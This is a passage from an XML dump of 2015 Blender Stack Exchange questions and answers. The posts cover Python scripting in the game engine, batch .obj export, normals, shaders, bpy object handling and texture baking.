own and if y in own and...&quot; and so on. How can I make the second script work?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="47" LastEditDate="2015-05-27T07:30:59.573" LastActivityDate="2015-05-27T07:55:36.503" Title="Why does python need you to define a properties's existence?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-05-27T13:37:13.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="31524" PostTypeId="2" ParentId="31523" CreationDate="2015-05-27T07:45:45.163" Score="2" Body="&lt;p&gt;Although I think this is more a Python specific question, maybe an answer is still useful for style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to use the &lt;code&gt;all&lt;/code&gt; keyword&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;&#xA;def property(cont):    &#xA;    own = cont.owner&#xA;&#xA;    speed = own.get('Speed')&#xA;    level = own.get('Recoil_Level')&#xA;    size = own.get('Proportion_Size')&#xA;&#xA;    if not all([speed, level, size]):&#xA;        print('No properties found in Weapon_Recoil_Level_Determiner')&#xA;        return&#xA;&#xA;    own['Recoil_Level'] = speed / size&#xA;    print(&quot;recoil level: &quot;, own['Recoil_Level'])    &#xA;&#xA;cont = logic.getCurrentController()      &#xA;property(cont)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.python.org/3.4/library/stdtypes.html#dict.get&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;.get()&lt;/code&gt;&lt;/a&gt; is useful because it will return None if the key isn't present.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-27T07:55:36.503" LastActivityDate="2015-05-27T07:55:36.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31525" PostTypeId="1" CreationDate="2015-05-27T07:54:39.447" Score="1" ViewCount="156" Body="&lt;p&gt;I think it is no big problem but, it is really important for me, to do that quickly because I need to have application finished to Friday. I will be really thankful when someone helps me.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have application made in Blender, which is using python modules in bge.&#xA;I have Always actuators linked on controllers of python modules. In that controlers I writed modulename.main for calling function main() in module &quot;modulename&quot;. In modules I have functionality of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender, when I press &quot;P&quot; all works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I export application as Runtime. And I copy files like Textures to folder where I save it. It is runeable and scene shows good, but functionality of that game, doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume, runtime can't find my python modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I was trying many many things, and I don't know, how to fix that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saved my python modules in files with .py extension and copy they in folder with runtime. That doesn't help. I copy they to folder with python libraries, and all over runtime tree, but nothing of that doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second I try to &quot;Pack all in .blend file&quot; in File-External (or something like that). With that I doesn't have to copy Texture files into Runtime folder when I save application as Runtime, but python modules still doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Highest problem is, I don't know how to debug that. Blender doesn't shows me any errors, and Runtime application doesn't shows me errors too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender 2.73a, and I was trying tu save application as runtime with that version, but when that doesn't work, I try use 2.72 and 2.74 versions. I was trying all that things on Ubuntu 14.10 and Windows 8.&#xA;Nothing of that helps me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/6606/packaging-external-libraries-in-the-game-engine-create-runtime&quot;&gt;Packaging external libraries in the game engine &amp;#39;Create Runtime&amp;#39;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but that doesn't help me.&lt;/p&gt;&#xA;" OwnerUserId="9801" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-05-27T08:24:31.167" Title="With make runtime, python modules doen't work" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;import&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31526" PostTypeId="1" CreationDate="2015-05-27T07:58:17.040" Score="1" ViewCount="31" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;&#xA;def property(cont):    &#xA;    own = cont.owner&#xA;&#xA;    if 'Recoil_Level' in own and 'Section' in own:&#xA;&#xA;        level = own['Recoil_Level']&#xA;        sec = own['Recoil_Section']&#xA;&#xA;    else:&#xA;        print('Missing properties in object')&#xA;        return&#xA;&#xA;    if (level &amp;gt;= 0) and (level &amp;lt;= 0.5):&#xA;        own['Recoil_Section'] = 1&#xA;&#xA;    if (level &amp;gt; 0.5) and (level &amp;lt;= 2.9):&#xA;        own['Recoil_Section'] = 2&#xA;&#xA;    if (level &amp;gt; 2.9) and (level &amp;lt;= 4.9):&#xA;        own['Recoil_Section'] = 3&#xA;&#xA;    if (level &amp;gt; 4.9) and (level &amp;lt;= 9.9):&#xA;        own['Recoil_Section'] = 4&#xA;&#xA;    if (level &amp;gt; 9.9) and (level &amp;lt;= 19.9):&#xA;        own['Recoil_Section'] = 5&#xA;&#xA;    if (level &amp;gt; 19.9):&#xA;        own['Recoil_Section'] = 6&#xA;&#xA;cont = logic.getCurrentController()      &#xA;property(cont)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everytime I run this script, the console says the following &quot;No module named 'bge',&quot; why is this happening and how can I fix it? Any help is appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-05-27T07:58:17.040" Title="&quot;No module named 'bge'&quot; in console?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-05-27T11:27:25.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="31527" PostTypeId="1" CreationDate="2015-05-27T08:04:30.303" Score="0" ViewCount="59" Body="&lt;p&gt;I have this mesh with selected vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://imageshack.com/a/img661/3861/yKrabj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mesh http://imageshack.com/a/img661/3861/yKrabj.png&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do a script that automatically gives for every selected vertice, his neighbors (vertices indices) that are external to the selection. For example, some neighbors of several selected vertices that respect the conditions : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://imageshack.com/a/img537/172/wq2m2M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Neighbors http://imageshack.com/a/img537/172/wq2m2M.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my bad english.&lt;/p&gt;&#xA;" OwnerUserId="14188" LastActivityDate="2015-05-27T08:04:30.303" Title="External neighbors" Tags="&lt;scripting&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31528" PostTypeId="1" AcceptedAnswerId="31529" CreationDate="2015-05-27T08:09:10.723" Score="2" ViewCount="1052" Body="&lt;p&gt;I am currently working on a huge scene with modular building blocks and for the moment I have to export one object at the time which is extremely time consuming. Is it any way to select say 30 objects inside Blender and use the .obj exporter/some kind of script to export each object separate instead? &lt;/p&gt;&#xA;" OwnerUserId="14034" LastActivityDate="2015-05-27T18:32:53.120" Title="selecting many objects inside blender and export them as seperate .obj with one click?" Tags="&lt;mesh&gt;&lt;export&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31529" PostTypeId="2" ParentId="31528" CreationDate="2015-05-27T08:33:38.913" Score="4" Body="&lt;p&gt;certainly! but it's a little hacky.  Run this from text editor for a few objects selected. Make sure to change the &lt;code&gt;folder&lt;/code&gt; to a valid path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;folder = '/home/zeffii/Uploads/'&#xA;&#xA;selected = bpy.context.selected_objects.copy()&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;for obj in selected:&#xA;    name = obj.name.replace('.', '_')&#xA;    obj.select = True&#xA;    fullpath = os.path.join(folder, name + '.obj')&#xA;    bpy.ops.export_scene.obj(&#xA;        filepath=fullpath, &#xA;        check_existing=True, &#xA;        axis_forward='-Z', &#xA;        axis_up='Y', &#xA;        use_selection=True, &#xA;        use_animation=False, &#xA;        use_mesh_modifiers=True, &#xA;        use_edges=True, &#xA;        use_smooth_groups=False, &#xA;        use_smooth_groups_bitflags=False, &#xA;        use_normals=True, &#xA;        use_uvs=True, &#xA;        use_materials=True, &#xA;        use_triangles=False, &#xA;        use_nurbs=False, &#xA;        use_vertex_groups=False, &#xA;        use_blen_objects=True, &#xA;        group_by_object=False, &#xA;        group_by_material=False, &#xA;        keep_vertex_order=False, &#xA;        global_scale=1, &#xA;        path_mode='AUTO')&#xA;    obj.select = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most of those options in export_scene are default and you can remove those lines, or comment them out, but some of them may be useful if you want to change them later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a nice Template for this in (with a slightly different approach - as in, it checks to see if the destination is valid first, which is handy if you aren't too familiar with &lt;em&gt;paths&lt;/em&gt;): &#xA;&lt;em&gt;TextEditor -&gt; Templates -&gt; Python -&gt; Batch Export&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/zeffii/529d435d5853e92dcc51&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/zeffii/529d435d5853e92dcc51&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure how to inherit all the properties from the original exporter operator for objs. I could add them individually if you need specific props, else it would be wasted effort adding them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the exporter code, you navigate to select a folder, don't have to type any thing, just hit the &lt;code&gt;Export selected Objects as obj&lt;/code&gt; button at the end.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-27T18:32:53.120" LastActivityDate="2015-05-27T18:32:53.120" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="31530" PostTypeId="1" CreationDate="2015-05-27T09:30:43.297" Score="5" ViewCount="2818" Body="&lt;p&gt;For a project i need to texture an irregular shaped object with equally spaced black dots and also with dots of different sizes, locations. The way it must be done is by the intersection of spheres with the object surface. I have tried shading with OSL, but a need to choose actual surface points to serves as pivots for the spheres which as far as i know OSL doesn't provide. Is there any other method for doing this? The texture must be displayed correctly, so no UV mapping since the objects are quite complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14641" LastEditorUserId="599" LastEditDate="2015-05-27T10:24:18.140" LastActivityDate="2015-05-27T10:24:18.140" Title="Polka dots shader" Tags="&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;texturing&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31531" PostTypeId="1" CreationDate="2015-05-27T09:37:04.823" Score="4" ViewCount="5356" Body="&lt;p&gt;I have been working on a model in Blender that is made up of several smaller sub-pieces. Having finished, I exported to Unity and not all of the sub pieces showed up. After having done some research I realized it was because of the normals facing the wrong direction. I then recalculated the normals for some of the surfaces that were not showing up, but this resulted in a potentially worse problem. I now have sub-pieces that have some vertices with outward facing normals and some with inward facing normals. As a result, flipping the normals for each sub-piece is useless, because either way not all of the surface is rendered when exported. So far the only solution I can think of is to manually flip the normals of each vertex across the whole model until they're all facing outward, but this would likely take me longer than it took to model the whole thing. I'm wondering if there is a way to force the normals all to face outward, rather than just flipping or recalculating them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, so I made up a little example of what I'm talking about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say this grid here is a sub piece of my model. There are no smaller selectable parts, unless I go into edit mode and start selecting individual faces or vertices. In my particular case, when I select the entire piece in edit mode and &lt;em&gt;recalculate the normals&lt;/em&gt;, I end up with something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aSlPH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The normals of some faces are facing inward and some outward. Thus, if I turn on backface culling I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gXRcq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as you can see, if I were to select the whole thing and flip the normals, I would get something just as problematic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tAtA5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus it seems to me like the only thing I can do is go and select all the areas of each piece that have normals facing the wrong way and flip them. There are hundreds of pieces, so that's likely to take forever. What I'm wondering is whether there is a way I can tell Blender to make all the normals point the same direction (outward), because flipping and recalculating both don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Solution:&lt;/strong&gt;&#xA;After some more research and attempts to fix the problem, it seemed like the only method that would reliably work was to fix everything manually. So it took about 12 hours, but I just went around to every single part of the model, selected the faces that had normals facing the wrong way and flipped them. I guess the thing to do is just not get yourself into this situation to begin with.&lt;/p&gt;&#xA;" OwnerUserId="14642" LastEditorUserId="14642" LastEditDate="2015-05-29T09:01:10.997" LastActivityDate="2021-05-22T06:39:26.493" Title="Can normals be forced to point outward at each vertex/face?" Tags="&lt;normals&gt;" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31532" PostTypeId="2" ParentId="31531" CreationDate="2015-05-27T09:58:39.170" Score="0" Body="&lt;p&gt;You should select in edit mode the complete mesh and then recalculate, not only the 'wrong faced' faces. Flipping vertices doesn't have much effect, flipping vertices does. When a face is flipped, then the corresponding vertices also flip :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-27T09:58:39.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31533" PostTypeId="2" ParentId="31530" CreationDate="2015-05-27T10:24:03.073" Score="10" Body="&lt;p&gt;Provided you are after random dots, i.e. the dots don't need to be arranged in any particular fashion, then the built in Voronoi texture works well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pgBTy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-27T10:24:03.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31534" PostTypeId="1" AcceptedAnswerId="31536" CreationDate="2015-05-27T11:24:57.100" Score="5" ViewCount="1068" Body="&lt;p&gt;I have run out of luck just copy/pasting other peoples code, and now I want to &lt;em&gt;understand&lt;/em&gt; (at least somewhat) how to &quot;do some things&quot; to mesh objects. For example, I often do this to make various complicated meshes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# make a custom purple mesh object&#xA;me = bpy.data.meshes.new('tim_the_mesh')&#xA;ob = bpy.data.objects.new('tim_the_object', me)&#xA;&#xA;bpy.context.scene.objects.link(ob)&#xA;&#xA;me.from_pydata(verts, [], faces)   # generated earlier&#xA;&#xA;ob.active_material = purple&#xA;bpy.ops.object.shade_smooth()&#xA;&#xA;# then, for some reason, I do this to make sure it remains selected&#xA;bpy.data.objects['tim_the_object'].select = False&#xA;bpy.data.objects['tim_the_object'].select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to make a matching purple sphere&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob2 = bpy.ops.mesh.primitive_uv_sphere_add(size=1, location=(3,3,3))&#xA;#ob2.active_material = purple  # Nope!&#xA;#me2 = ob2.data   # Nope!&#xA;&#xA;bpy.ops.mesh.primitive_uv_sphere_add(size=1, location=(3,3,3))&#xA;ao = bpy.context.active_object&#xA;ao.name = &quot;tim_the_sphere&quot;&#xA;ao.location = (x,y,z)&#xA;#ao.active_material = purple  # Nope!&#xA;#bpy.ops.object.shade_smooth()  # Nope!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each &quot;Nope!&quot; is something I thought might work, but without a decent grip on what is what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course there is more than plenty of documentation all over the internet. But is there something concise, maybe even a block diagram, that will help me see how to &quot;get at&quot; the various properties easily within a script environment? It will be much easier for me if I can get a grip on how these things are accessed. &lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-05-27T16:39:32.680" LastActivityDate="2015-05-27T16:39:32.680" Title="Is there a simple/concise explanation out there of script manipulation of mesh objects?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31535" PostTypeId="1" CreationDate="2015-05-27T12:27:11.657" Score="3" ViewCount="1481" Body="&lt;p&gt;I am trying to use Blender to procedurally generate a mesh and material(s)/texture(s) via python. Parts of the mesh are assigned to material A and other parts material B and so on... The scene is set up to have a sun and is illuminated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the created mesh and it's visual details (diffuse, glossy, emission, etc.) in a game engine which can render physically based (not UE4 or Unity, but my own engine, which is in development). Of course, the game engine can set the light source somewhere else and the object should be correctly illuminated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to export the textures (albedo, glossy, roughness, whatever-could-be-helpful). I know I can bake the textures in Blender. I need to unwrap the mesh, create a image in uv-editor and select this new created image in a image texture node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can choose between Subsurface Color, Subsurface Indirect, Transmission, Glossy, Diffuse, Environment and so on. I am a little bit lost looking at these bake types. What types do I need? What is the difference between Color, Indirect and Direct? Why is there diffuse and not albedo? (Diffuse is with shading, albedo isn't).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone shed light on the differences?&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="49806" LastEditDate="2018-02-09T21:44:08.200" LastActivityDate="2018-02-09T21:44:08.200" Title="Use cycles to bake textures for a physically based engine" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31536" PostTypeId="2" ParentId="31534" CreationDate="2015-05-27T12:49:13.650" Score="6" Body="&lt;p&gt;it's simple in that case.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.ops.mesh.primitive_uv_sphere_add()&#xA;print(ob)&#xA;&amp;gt;&amp;gt;&amp;gt; {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The docs for &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.ops.mesh.html?highlight=bpy.ops.mesh.primitive_uv_sphere_add#bpy.ops.mesh.primitive_uv_sphere_add&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;mesh.primitive_uv_sphere_add&lt;/code&gt;&lt;/a&gt; don't explicitly mention a return type, and that's a first hint that it won't have a very useful return value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 main ways to get object references. Either by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# getting the reference by object name &#xA;ob = bpy.data.objects['Sphere']&#xA;&#xA;# or using the fact that calls to bpy.ops.mesh_xxxxx&#xA;# place new objects as the active_object.&#xA;bpy.ops.mesh.primitive_uv_sphere_add()&#xA;ob = bpy.context.active_object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unlike objects of type &lt;code&gt;BlendDataObjects&lt;/code&gt;. These are found in &lt;code&gt;bpy.data.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data.objects&#xA;data.meshes&#xA;data.materials&#xA;# etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.types.BlendDataObjects.html?highlight=objects.new#bpy.types.BlendDataObjects.new&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;new()&lt;/code&gt;&lt;/a&gt; method for those Objects does return an Object reference.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.data.objects.new('tim_the_object', me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A good approach to learning the bpy is to use that &lt;code&gt;print()&lt;/code&gt; statement on objects, or &lt;code&gt;dir()&lt;/code&gt;. I'm fairly confident in my bpy-knowledge, but I still use those methods to understand the return values on occasion, and I use &lt;code&gt;dir(whatever)&lt;/code&gt; constantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit control+space after typing this in the python console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.ops.mesh.primitive_uv_sphere_add(   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will return a lot of information about the function signature, and that works for most functions. But not all functions have elaborate docstrings to tell us the return values (then you use print() )&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;active_material&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;your code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ao.active_material = purple  # Nope!&#xA;bpy.ops.object.shade_smooth()  # Nope!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;assumes that purple is a reference to a material, if that failed, then the next line will also fail.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# this assumes you have a material, called 'purple'&#xA;ao.active_material = bpy.data.materials['purple']&#xA;bpy.ops.object.shade_smooth()  # probably works with an active object.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this does work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.mesh.primitive_uv_sphere_add(size=1, location=(3,3,3))&#xA;ao = bpy.context.active_object&#xA;ao.active_material = bpy.data.materials['purple']&#xA;bpy.ops.object.shade_smooth()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-27T14:09:44.937" LastActivityDate="2015-05-27T14:09:44.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31537" PostTypeId="2" ParentId="31534" CreationDate="2015-05-27T13:17:28.753" Score="3" Body="&lt;p&gt;First what is a :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mesh:&lt;/em&gt;&lt;/strong&gt; mesh is a data-block that contains collection of points ( Vertices ) and their relations ( edges , faces )  and other properties related to them as ( Vertex groups , vertex color, UV maps, material index )&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Object:&lt;/em&gt;&lt;/strong&gt; is more general data-block which could be contains mesh or curve, empty, armature, .... and this is the important part of the object( it is the type of the object ), it also includes other properties like  Location, rotation, size, modifiers, constraints, materials,particle systems.... ( what to note is that the mesh is only a part of the object )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;let's go through the first code line by line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;me = bpy.data.meshes.new('tim_the_mesh')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will create an empty mesh ( has no points in it ) with the name &lt;code&gt;tim_the_mesh&lt;/code&gt; and &lt;code&gt;me&lt;/code&gt; will be our reference to this mesh( when we need to call it we use &lt;code&gt;me&lt;/code&gt; )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.data.objects.new('tim_the_object', me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will create a new object ( of type mesh ) that contains our mesh &lt;code&gt;me&lt;/code&gt; and our reference to this object is &lt;code&gt;ob&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if we stop here our object will not show up in any of the  scenes (Viewport, Outliner) and that is because we have not linked this object to any scene yet ( blender doesn't know where does this object belong to ) and for this we use the next line to link the object to the active scene ( the current scene )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.objects.link(ob)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we have created a mesh put it in an object and linked our object to the scene ( the object will be visible now in the scene ) but the problem is that our object has no geometry ( vertices , edges and faces ) now we will fill  our mesh with a prepared data ( generated by other code parts ) in he next line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; me.from_pydata(verts, [], faces)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after giving our object a shape we want to give it a good look for that we assign a material to this object since the object is new it has no active material (or any material ) and using the next line we set the material of the object to be &lt;code&gt;purple&lt;/code&gt; ( purple is material defined earlier in this code )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ob.active_material = purple&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the next line is simply giving the object a smooth look by enabling the smooth shading&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bpy.ops.object.shade_smooth()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you note in the last line we haven't referenced &lt;code&gt;ob&lt;/code&gt; and that's because the function &lt;code&gt;shade_smooth()&lt;/code&gt; will be applied to the active object which is our object ( because it has been just created )&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;for the second code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  bpy.ops.mesh.primitive_uv_sphere_add(size=1, location=(3,3,3))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this line will take care of creating a mesh, generate its geometry, put in an object, link it to the current scene and move it to the position ( 3,3,3)  so it replaces the 4 lines of the first script &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ao = bpy.context.active_object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we want to get a reference to our new object to manipulate it later, and since our object has just been created it is the active object and we simply reference that as &lt;code&gt;ao&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ao.name = &quot;tim_the_sphere&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we have just changed the name of our object to &lt;code&gt;tim_the_sphere&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ao.location = (x,y,z)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now we changed the location of the object to be at &lt;code&gt;(x, y, z)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the rest is the same as above :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ao.active_material = purple  #assign a material&#xA;bpy.ops.object.shade_smooth()  # set smooth shading&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now how do I know that this object has a property called &lt;code&gt;location&lt;/code&gt; or anything else this can be done by :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Locking through the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/&quot; rel=&quot;nofollow noreferrer&quot;&gt;API DOCs&lt;/a&gt;: just search for the type of the object you want know about and you'll get a page containing all properties &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.types.Object.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;like this one for the Object type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Using the console select your object and  type &lt;code&gt;C.object.&lt;/code&gt; and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt; then you will get a list of all properties avialable for this object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uwvat.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- From the properties panel hover over any property and you'll get the python reference for this property&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img 